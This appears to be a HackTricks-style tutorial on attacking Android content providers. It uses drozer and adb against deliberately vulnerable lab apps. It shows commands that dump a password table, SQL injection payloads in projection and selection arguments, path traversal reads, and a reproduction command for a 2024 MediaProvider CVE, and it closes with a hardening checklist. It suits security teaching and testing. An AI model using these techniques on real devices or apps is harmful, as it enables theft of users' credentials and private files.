# Exploiting Content Providers {{#include ../../../banners/hacktricks-training.md}} ## Intro Data is **supplied from one application to others** on request by a component known as a **content provider**. These requests are managed through the **ContentResolver class** methods. Content providers can store their data in various locations, such as a **database**, **files**, or over a **network**. In the _Manifest.xml_ file, the declaration of the content provider is required. For instance: ```xml ``` To access `content://com.mwr.example.sieve.DBContentProvider/Keys`, the `READ_KEYS` permission is necessary. It's interesting to note that the path `/Keys/` is accessible in the following section, which is not protected due to a mistake by the developer, who secured `/Keys` but declared `/Keys/`. **Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).** ## Get info from **exposed content providers** ``` dz> run app.provider.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Authority: com.mwr.example.sieve.DBContentProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.DBContentProvider Multiprocess Allowed: True Grant Uri Permissions: False Path Permissions: Path: /Keys Type: PATTERN_LITERAL Read Permission: com.mwr.example.sieve.READ_KEYS Write Permission: com.mwr.example.sieve.WRITE_KEYS Authority: com.mwr.example.sieve.FileBackupProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.FileBackupProvider Multiprocess Allowed: True Grant Uri Permissions: False ``` It's possible to piece together how to reach the **DBContentProvider** by starting URIs with “_content://_”. This approach is based on insights gained from using Drozer, where key information was located in the _/Keys_ directory. Drozer can **guess and try several URIs**: ``` dz> run scanner.provider.finduris -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Unable to Query content://com.mwr.example.sieve.DBContentProvider/ ... Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys Accessible content URIs: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ ``` You should also check the **ContentProvider code** to search for queries: ![](<../../../images/image (121) (1) (1) (1).png>) Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method: ![](<../../../images/image (564).png>) The query will be like: `content://name.of.package.class/declared_name` ## **Database-backed Content Providers** Probably most of the Content Providers are used as **interface** for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information.\ Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms. When checking the code of the Content Provider **look** also for **functions** named like: _query, insert, update and delete_: ![](<../../../images/image (887).png>) ![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>) Because you will be able to call them ### Query content ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical _id: 1 service: Email username: incognitoguy50 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== - email: incognitoguy50@gmail.com ``` ### Insert content Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB: ![](<../../../images/image (98).png>) ![](<../../../images/image (173).png>) _Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_ ### Update content Knowing the name of the columns you could also **modify the entries**: ![](<../../../images/image (780).png>) ### Delete content ![](<../../../images/image (423).png>) ### **SQL Injection** It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\ When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_: ![](<../../../images/image (784).png>) You can try to **abuse** this **parameters** to test for **SQL injections**: ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') ``` ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata | 3 | CREATE TABLE ... | | table | Passwords | Passwords | 4 | CREATE TABLE ... | ``` **Automatic SQLInjection discovery by Drozer** ``` dz> run scanner.provider.injection -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Injection in Projection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ Injection in Selection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ dz> run scanner.provider.sqltables -a jakhar.aseem.diva Scanning jakhar.aseem.diva... Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/: android_metadata notes sqlite_sequence ``` ## **File System-backed Content Providers** Content providers could be also used to **access files:** ![](<../../../images/image (407).png>) ### Read **file** You can read files from the Content Provider ``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` ### **Path Traversal** If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks). ``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` **Automatic Path Traversal discovery by Drozer** ``` dz> run scanner.provider.traversal -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Vulnerable Providers: content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.FileBackupProvider ``` ## 2023-2025 Updates & Modern Tips ### Drozer 3.x (Python 3) is out WithSecure resumed maintenance of drozer in 2022 and ported the framework to **Python 3** (latest **3.1.0 – April 2024**). Besides compatibility fixes, new modules that are particularly useful when working with Content Providers include: * `scanner.provider.exported` – list only providers with `android:exported="true"`. * `app.provider.grant` – automatically call `grantUriPermission()` so you can talk to providers that expect `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` on Android 12+. * Better handling of **Scoped Storage** so file-based providers on Android 11+ can still be reached. Upgrade (host & agent): ```bash pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0" adb install drozer-agent-3.1.0.apk ``` ### Using the built-in `cmd content` helper (ADB ≥ 8.0) All modern Android devices ship with a CLI that can query/update providers **without installing any agent**: ```bash adb shell cmd content query --uri content://com.test.provider/items/ adb shell cmd content update --uri content://com.test.provider/items/1 \ --bind price:d:1337 adb shell cmd content call --uri content://com.test.provider \ --method evilMethod --arg 'foo' ``` Combine it with `run-as ` or a rooted shell to test internal-only providers. ### Recent real-world CVEs that abused Content Providers | CVE | Year | Component | Bug class | Impact | |-----|------|-----------|-----------|--------| | CVE-2024-43089 | 2024 | MediaProvider | Path traversal in `openFile()` | Arbitrary file read from any app’s private storage | | CVE-2023-35670 | 2023 | MediaProvider | Path traversal | Information disclosure | Re-create CVE-2024-43089 on a vulnerable build: ```bash adb shell cmd content read \ --uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml ``` ### Hardening checklist for API 30+ * Declare `android:exported="false"` unless the provider **must** be public – from API 31 the attribute is mandatory. * Enforce **permissions** and/or `android:grantUriPermissions="true"` instead of exporting the whole provider. * Whitelist allowed `projection`, `selection` and `sortOrder` arguments (e.g. build queries with `SQLiteQueryBuilder.setProjectionMap`). * In `openFile()` canonicalise the requested path (`FileUtils`) and reject `..` sequences to prevent traversal. * When exposing files prefer **Storage Access Framework** or a `FileProvider`. These changes in recent Android versions mean many legacy exploitation primitives still work, but require additional flags/permissions that the updated drozer modules or `cmd content` helper can apply automatically. ## References - [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm) - [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/) - [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf) - [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0) - [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01) {{#include ../../../banners/hacktricks-training.md}}